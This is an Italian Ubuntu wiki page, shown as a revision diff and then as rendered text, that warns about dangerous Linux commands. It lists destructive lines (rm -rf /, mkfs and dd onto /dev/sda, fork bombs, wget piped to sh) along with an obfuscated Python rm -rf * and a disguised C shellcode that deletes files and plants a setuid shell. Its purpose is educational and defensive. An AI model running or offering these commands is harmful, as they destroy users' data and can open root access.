Wiki Ubuntu-it

Indice
Partecipa
FAQ
Wiki Blog
------------------
Ubuntu-it.org
Forum
Chiedi
Chat
Cerca
Planet
  • Pagina non alterabile
  • Informazioni
  • Allegati
  • Differenze per "AmministrazioneSistema/ComandiPericolosi"
Differenze tra le versioni 1 e 11 (in 10 versioni)
Versione 1 del 26/03/2008 16.09.38
Dimensione: 5859
Commento: nuova wiki trasferita da DaniloRossini/Prove1
Versione 11 del 08/06/2017 09.41.42
Dimensione: 8584
Commento: nome più consono secondo parere utenti
Le cancellazioni sono segnalate in questo modo. Le aggiunte sono segnalate in questo modo.
Linea 1: Linea 1:
## page was renamed from AmministrazioneSistema/ComandiDannosi
## page was renamed from ComandiDannosi
Linea 3: Linea 5:
[[BR]]
||<tablestyle="float:right; font-size: 0.9em; width:35%; background:#F1F1ED; margin: 0 0 1em 1em;" style="padding:0.5em;">'''Indice'''[[BR]] [[TableOfContents]]||
<<BR>>
<<Indice(width=2)>>
<<Informazioni(forum=http://forum.ubuntu-it.org/viewtopic.php?f=46&t=619925&p)>>
Linea 8: Linea 11:
In questa guida viene proposta una lista di comandi potenzialmente pericolosi, a scopo puramente educativo. Gli utenti che pubblicheranno questi comandi all'interno del [http://forum.ubuntu-it.org forum di supporto di Ubuntu-it] verranno permanentemente bannati, attraverso il blocco del loro account. A scopo puramente didattico e illustrativo, questa guida raccoglie una lista non esaustiva di comandi potenzialmente pericolosi.
Linea 10: Linea 13:
Bisogna ricordare prudenza nel loro utilizzo, nel caso in cui venisse chiesto di eseguire alcuni di questi comandi o scaricare script come soluzione ad un dato problema. In caso di dubbio, è sempre una buona idea attendere altre opinioni, e/o avere la spiegazione riguardo il comando e verificare se questa può avere un senso consultando la documentazione sui comandi di sistemi GNU/Linux. Si raccomanda particolare prudenza in caso sia necessario eseguire alcuni dei comandi elencati di seguito. <<BR>>Si ricorda che è possibile eseguire in tutta sicurezza comandi potenzialmente dannosi, a scopo di test, all'interno di [[Virtualizzazione|macchine virtuali]] (si consiglia comunque di scollegare eventuali periferiche di memoria condivise dai sistemi ''guest'' e ''host'').

||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Grandi/info.png,,center)>> ||<style="padding:0.5em; border:none;">In caso di dubbi consultare le guide elencate nel paragrafo [[#risorse|Ulteriori Risorse]], oppure rivolgersi ai [[http://www.ubuntu-it.org/supporto|canali di supporto]]. ||

||<tablestyle="text-align: justify; width:100%;" style="border:none;" 5%><<Immagine(Icone/Piccole/warning.png,,center)>> ||<style="padding:0.5em; border:none;">'''Suggerire immotivatamente l'esecuzione di comandi pericolosi ad altri utenti nei [[http://www.ubuntu-it.org/supporto|canali di supporto]] comporta sanzioni da parte dei moderatori e degli amministratori, finanche il ban e l'esclusione permanente dell'account.''' ||
Linea 14: Linea 21:
[[Anchor(rm)]] <<Anchor(rm)>>
Linea 17: Linea 24:
I seguenti comandi cancellano tutti i file, la cartella corrente e i file visibili all'interno della cartella corrente:
{{{
 * I seguenti comandi cancellano rispettivamente tutti i file, la cartella corrente e i file visibili all'interno della cartella corrente: {{{
Linea 24: Linea 30:
Se si volessero eliminare solamente file nascosti, i nomi dei quali iniziano con il carattere «.», il seguente comando ___non sarebbe adatto allo scopo___:
{{{
 ||<tablestyle="text-align: justify; width:100%;" style="border:none;" 5%><<Immagine(Icone/Piccole/note.png,,center)>> ||<style="padding:0.5em; border:none;">''Da alcuni anni, è attiva una protezione contro questo comando eseguito nella cartella di root. Tuttavia questa limitazione è aggirabile tramite il parametro `--no-preserve-root`.'' ||

 * Il seguente comando è da considerarsi molto pericoloso poiché, digitato con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]], esegue la cancellazione di tutto il contenuto della '''root''' di sistema: {{{
rm -rf /*
}}}
 Tale cancellazione elimina non solo l'intero filesystem, ma anche tutto ciò che è presente in eventuali dispositivi esterni collegati e montati, inclusi quelli ad esempio presenti nella cartella `/media/` (altre partizioni, chiavette USB, hard disk esterni, schede SD ecc.).

 * Qualora si volessero eliminare solamente file nascosti (che hanno primo carattere del nome «`.`», ovvero un punto) il comando {{{
Linea 28: Linea 40:
 potrebbe provocare risultati inattesi. Infatti, effettuando la scansione della cartella corrente, troverebbe anche l'occorrenza `..` che si riferisce alla cartella di livello superiore.
Linea 29: Linea 42:
Il precedente comando potrebbe portare a risultati inattesi in quanto, effettuando la scansione della cartella corrente, troverebbe anche l'occorrenza `..` che si riferisce alla cartella di livello superiore. Il seguente comando invece elimina solo i file nascosti contenuti nella cartella corrente:
{{{
 * Al contrario del comando precedente, il seguente comando elimina solo i file nascosti contenuti nella cartella corrente: {{{
Linea 34: Linea 46:
<<Anchor(mkfs)>>
Linea 36: Linea 49:
Il comando '''mkfs''' viene utilizzato per formattare supporti di memoria, causando la distruzione di tutti i dati, che verranno rimpiazzati con un nuovo filesystem. Di seguito è riportato un esempio di come si possa formattare una partizione con filesystem `ext3`, o una partizione in base al suo nome (`xxx` preso come esempio). Il comando '''mkfs''' viene utilizzato per formattare supporti di memoria, causando la distruzione di tutti i dati, rimpiazzandoli con un nuovo [[https://it.wikipedia.org/wiki/File_system|filesystem]].

Di seguito è riportato un esempio di come si possa formattare una partizione con filesystem `ext4`, o una partizione in base al suo nome (viene preso come esempio il primo dispositivo `/dev/sda1`).
Linea 40: Linea 55:
mkfs.ext3
mkfs.xxx
mkfs.ext4
mkfs.ext4 /dev/sda1
Linea 44: Linea 59:
== Blocco del dispositivo ==
Nella maggior parte dei casi questa procedura colpirà il filesystem causandone la totale perdita di dati (nell'esempio seguente `xxx` identifica un qualsiasi comando):
{{{
xxx > /dev/sda
dd if=qualcosa of=/dev/sda
}}}
<<Anchor(dd)>>
== Copia di blocchi di dati: dd ==
Linea 51: Linea 62:
Utilizzando il comando '''dd''' con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]] e determinati parametri, si può incorrere nella totale perdita dei dati contenuti in un intero dispositivo (incluse quindi eventuali altre partizioni e l'[[https://it.wikipedia.org/wiki/Master_boot_record|MBR]]).

Ad esempio, dove i parametri `if` e `of` rappresentano rispettivamente i dati da inserire e il dispositivo di destinazione:
 * `dd if=/dev/zero of=/dev/sda`: riempie il dispositivo con una sequenza di zeri;
 * `dd if=/dev/null of=/dev/sda`: riempie il dispositivo con una sequenza di dati nulli (non memorizzati);
 * `dd if=/dev/random of=/dev/sda`: riempie il dispositivo con una sequenza di dati casuali.

<<Anchor(fork)>>
Linea 52: Linea 71:
L'invocazione del comando di sistema `fork` permette la creazione di un processo "figlio" con le stesse caratteristiche del padre. I seguenti esempi lanciano un numero enorme di processi "figli" fino a quando il sistema si blocca, obbligando al riavvio del sistema; inoltre, questo può causare corruzione o danneggiamento dei dati presenti su disco. Una struttura del genere è avviabile con il seguente comando da terminale:
Linea 54: Linea 72:
{{{ L'utilizzo del comando di sistema '''fork''' permette la creazione di un processo "figlio" avente le stesse caratteristiche del padre.

Lanciare però un numero enorme di processi "figli" può causare il blocco del sistema, obbligando l'utente al riavvio forzato con possibile corruzione o danneggiamento dei dati presenti su disco. Alcuni comandi che possono causare tale fenomeno sono: {{{
Linea 57: Linea 77:

È possibile replicare l'esempio precedente anche attraverso la maggior parte dei linguaggi di programmazione. In '''perl''', sarebbe rappresentabile con il comando:
{{{
oppure (utilizzando il linguaggio di programmazione [[https://it.wikipedia.org/wiki/Perl|perl]]):{{{
Linea 63: Linea 81:
<<Anchor(script)>>
Linea 64: Linea 83:
L'esecuzione di script all'interno di un terminale, può essere dannosa poiché questi possono contenere al loro interno ogni tipo istruzioni non volute. Si consiglia di eseguire script suggeriti solo da persone di dimostrata fiducia. I seguenti due esempi scaricano lo script in bash `prova.sh` dall'indirizzo `http://sito_internet` e lo eseguono.
Linea 66: Linea 84:
{{{ L'esecuzione di [[Programmazione/Script|script]] all'interno di un [[AmministrazioneSistema/Terminale|terminale]] può essere pericolosa poiché questi possono contenere al loro interno comandi potenzialmente dannosi o non desiderati. Si raccomanda pertanto di eseguire script suggeriti da fonti fidate.

Nei seguenti esempi vengono riportati comandi che scaricano ed eseguono un ipotetico [[Programmazione/LinguaggioBash|script in bash]] «`prova.sh`» da un ipotetico indirizzo «`http://sito_internet`»:{{{
Linea 69: Linea 89:
}}}

Codice:
{{{
}}} {{{
Linea 76: Linea 93:
<<Anchor(sorgente)>>
Linea 77: Linea 95:
È facile nascondere del codice maligno in un largo codice sorgente. È quindi consigliabile compilare o eseguire solo codice del quale si conosce il sorgente, oppure ottenuto da siti rispettabili (ad esempio [http://sourceforge.net SourceForge], la pagina principale degli autori, una pagina web della Comunità di '''Ubuntu''').
Linea 79: Linea 96:
Un famoso esempio è apparso all'interno di una mailing list come dimostrazione di [http://seclists.org/fulldisclosure/2007/Aug/0071.html exploit] da eseguire con [:Sudo:privilegi di amministratore]: È potenzialmente possibile nascondere del codice pericoloso (o addirittura maligno) all'interno di [[https://it.wikipedia.org/wiki/Codice_sorgente|sorgenti]] di dimensioni considerevoli. Pertanto si raccomanda di eseguire, compilare e modificare codici provenienti solo da fonti ritenute attendibili (ad esempio piattaforme di distribuzione dove il codice sia consultabile in maniera libera e facile da qualsiasi utente, quali [[https://launchpad.net/|Launchpad]], [[http://sourceforge.net|SourceForge]], [[https://github.com/|GitHub]] ecc.).
Linea 81: Linea 98:
{{{ Un esempio di codice pericoloso è il seguente: {{{
Linea 95: Linea 112:
Apparentemente può sembrare un codice incomprensibile, e affatto pericoloso. In realtà esegue il comando `rm -rf ~ / &` che distrugge la cartella '''Home''' dell'utente che ha eseguito il codice compilato. Apparso all'interno di una [[http://seclists.org/fulldisclosure/2007/Aug/0071.html|mailing list]] come dimostrazione di [[https://it.wikipedia.org/wiki/Exploit|exploit]] da eseguire con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]], l'esempio precedente sembra in apparenza un codice affatto pericoloso, per quanto poco comprensibile. In realtà esegue il comando {{{
rm -rf ~ / &
}}}
che distrugge la cartella '''Home''' dell'utente che ha esegue il codice compilato.
Linea 97: Linea 117:
= Ulteriori esempi =
L'esecuzione del seguente comando in [:Programmazione/Python:Python] per una durata di circa 30 secondi ha un effetto disastroso sui file del proprio hard disk, in quanto in realtà `"sn!.sg!+"` è semplicemente `rm -rf *` visto [#rm precedentemente].
{{{
= Archivi =
Alcuni [[AmministrazioneSistema/FormatiDiCompressione|archivi]] come i file `.tar` possono provocare spiacevoli inconvenienti e causare danni al sistema, come illustrato in [[AmministrazioneSistema/FormatiDiCompressione#tar|questo paragrafo]].

= Altri esempi =
L'esecuzione del seguente comando in [[Programmazione/Python|Python]] per una durata di circa 30 secondi ha un effetto disastroso sui file del proprio hard disk: {{{
Linea 102: Linea 124:
Infatti la sintassi `"sn!.sg!+"` sta ad indicare `rm -rf *`, comando a cui è dedicato il relativo [[#rm|paragrafo]].
Linea 103: Linea 126:
= Archivi Tar =
Alcuni archivi [:FormatiDiCompressione#tar:tar] possono provocare spiacevoli inconvenienti e causare danni al sistema. L'argomento viene approfondito [:FormatiDiCompressione#malizia:qui].

In conclusione, si consiglia quindi di prestare molta attenzione ai comandi che vi vengono segnalati al fine di evitare spiacevoli inconvenienti.
<<Anchor(risorse)>>
Linea 109: Linea 128:
 * [http://ubuntuforums.org/announcement.php?f=100 Documento originale] sul Forum Internazionale di Ubuntu


## da questo punto in poi non modificare!
 * [[AmministrazioneSistema/Terminale|Terminale]]
 * [[AmministrazioneSistema/ComandiBase|Comandi di base]]
 * [[AmministrazioneSistema/Filesystem|Filesystem]]
 * [[AmministrazioneSistema/PulireUbuntu|Pulizia del sistema]]
 * [[http://www.chimerarevo.com/linux/comandi-terminale-non-eseguire-linux-180510/|Articolo su comandi pericolosi da terminale]]
 
Linea 114: Linea 135:
CategoryNuoviDocumenti CategoryAmministrazione


Problemi in questa pagina? Segnalali in questa discussione

Introduzione

A scopo puramente didattico e illustrativo, questa guida raccoglie una lista non esaustiva di comandi potenzialmente pericolosi.

Si raccomanda particolare prudenza in caso sia necessario eseguire alcuni dei comandi elencati di seguito.
Si ricorda che è possibile eseguire in tutta sicurezza comandi potenzialmente dannosi, a scopo di test, all'interno di macchine virtuali (si consiglia comunque di scollegare eventuali periferiche di memoria condivise dai sistemi guest e host).

In caso di dubbi consultare le guide elencate nel paragrafo Ulteriori Risorse, oppure rivolgersi ai canali di supporto.

Suggerire immotivatamente l'esecuzione di comandi pericolosi ad altri utenti nei canali di supporto comporta sanzioni da parte dei moderatori e degli amministratori, finanche il ban e l'esclusione permanente dell'account.

Comandi da terminale

Rimozione: rm

  • I seguenti comandi cancellano rispettivamente tutti i file, la cartella corrente e i file visibili all'interno della cartella corrente:

    rm -rf /
    rm -rf .
    rm -rf *

    Da alcuni anni, è attiva una protezione contro questo comando eseguito nella cartella di root. Tuttavia questa limitazione è aggirabile tramite il parametro --no-preserve-root.

  • Il seguente comando è da considerarsi molto pericoloso poiché, digitato con i privilegi di amministrazione, esegue la cancellazione di tutto il contenuto della root di sistema:

    rm -rf /*

    Tale cancellazione elimina non solo l'intero filesystem, ma anche tutto ciò che è presente in eventuali dispositivi esterni collegati e montati, inclusi quelli ad esempio presenti nella cartella /media/ (altre partizioni, chiavette USB, hard disk esterni, schede SD ecc.).

  • Qualora si volessero eliminare solamente file nascosti (che hanno primo carattere del nome «.», ovvero un punto) il comando

    rm -r .*

    potrebbe provocare risultati inattesi. Infatti, effettuando la scansione della cartella corrente, troverebbe anche l'occorrenza .. che si riferisce alla cartella di livello superiore.

  • Al contrario del comando precedente, il seguente comando elimina solo i file nascosti contenuti nella cartella corrente:

    rm -r .[^.]*

Formattazione: mkfs

Il comando mkfs viene utilizzato per formattare supporti di memoria, causando la distruzione di tutti i dati, rimpiazzandoli con un nuovo filesystem.

Di seguito è riportato un esempio di come si possa formattare una partizione con filesystem ext4, o una partizione in base al suo nome (viene preso come esempio il primo dispositivo /dev/sda1).

mkfs
mkfs.ext4
mkfs.ext4 /dev/sda1

Copia di blocchi di dati: dd

Utilizzando il comando dd con i privilegi di amministrazione e determinati parametri, si può incorrere nella totale perdita dei dati contenuti in un intero dispositivo (incluse quindi eventuali altre partizioni e l'MBR).

Ad esempio, dove i parametri if e of rappresentano rispettivamente i dati da inserire e il dispositivo di destinazione:

  • dd if=/dev/zero of=/dev/sda: riempie il dispositivo con una sequenza di zeri;

  • dd if=/dev/null of=/dev/sda: riempie il dispositivo con una sequenza di dati nulli (non memorizzati);

  • dd if=/dev/random of=/dev/sda: riempie il dispositivo con una sequenza di dati casuali.

Utilizzo sconsiderato di fork()

L'utilizzo del comando di sistema fork permette la creazione di un processo "figlio" avente le stesse caratteristiche del padre.

Lanciare però un numero enorme di processi "figli" può causare il blocco del sistema, obbligando l'utente al riavvio forzato con possibile corruzione o danneggiamento dei dati presenti su disco. Alcuni comandi che possono causare tale fenomeno sono:

:(){:|&};:

oppure (utilizzando il linguaggio di programmazione perl):

fork while fork

Esecuzione script

L'esecuzione di script all'interno di un terminale può essere pericolosa poiché questi possono contenere al loro interno comandi potenzialmente dannosi o non desiderati. Si raccomanda pertanto di eseguire script suggeriti da fonti fidate.

Nei seguenti esempi vengono riportati comandi che scaricano ed eseguono un ipotetico script in bash «prova.sh» da un ipotetico indirizzo «http://sito_internet»:

wget http://sito_internet/prova.sh
sh ./prova.sh

wget http://sito_internet/prova.sh -O- | sh

Compilazione codice sorgente

È potenzialmente possibile nascondere del codice pericoloso (o addirittura maligno) all'interno di sorgenti di dimensioni considerevoli. Pertanto si raccomanda di eseguire, compilare e modificare codici provenienti solo da fonti ritenute attendibili (ad esempio piattaforme di distribuzione dove il codice sia consultabile in maniera libera e facile da qualsiasi utente, quali Launchpad, SourceForge, GitHub ecc.).

Un esempio di codice pericoloso è il seguente:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
                = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                  "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                  "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
                  "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                  "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                  "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
                  "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                  "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Apparso all'interno di una mailing list come dimostrazione di exploit da eseguire con i privilegi di amministrazione, l'esempio precedente sembra in apparenza un codice affatto pericoloso, per quanto poco comprensibile. In realtà esegue il comando

rm -rf ~ / &

che distrugge la cartella Home dell'utente che ha esegue il codice compilato.

Archivi

Alcuni archivi come i file .tar possono provocare spiacevoli inconvenienti e causare danni al sistema, come illustrato in questo paragrafo.

Altri esempi

L'esecuzione del seguente comando in Python per una durata di circa 30 secondi ha un effetto disastroso sui file del proprio hard disk:

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

Infatti la sintassi "sn!.sg!+" sta ad indicare rm -rf *, comando a cui è dedicato il relativo paragrafo.

Ulteriori risorse


CategoryAmministrazione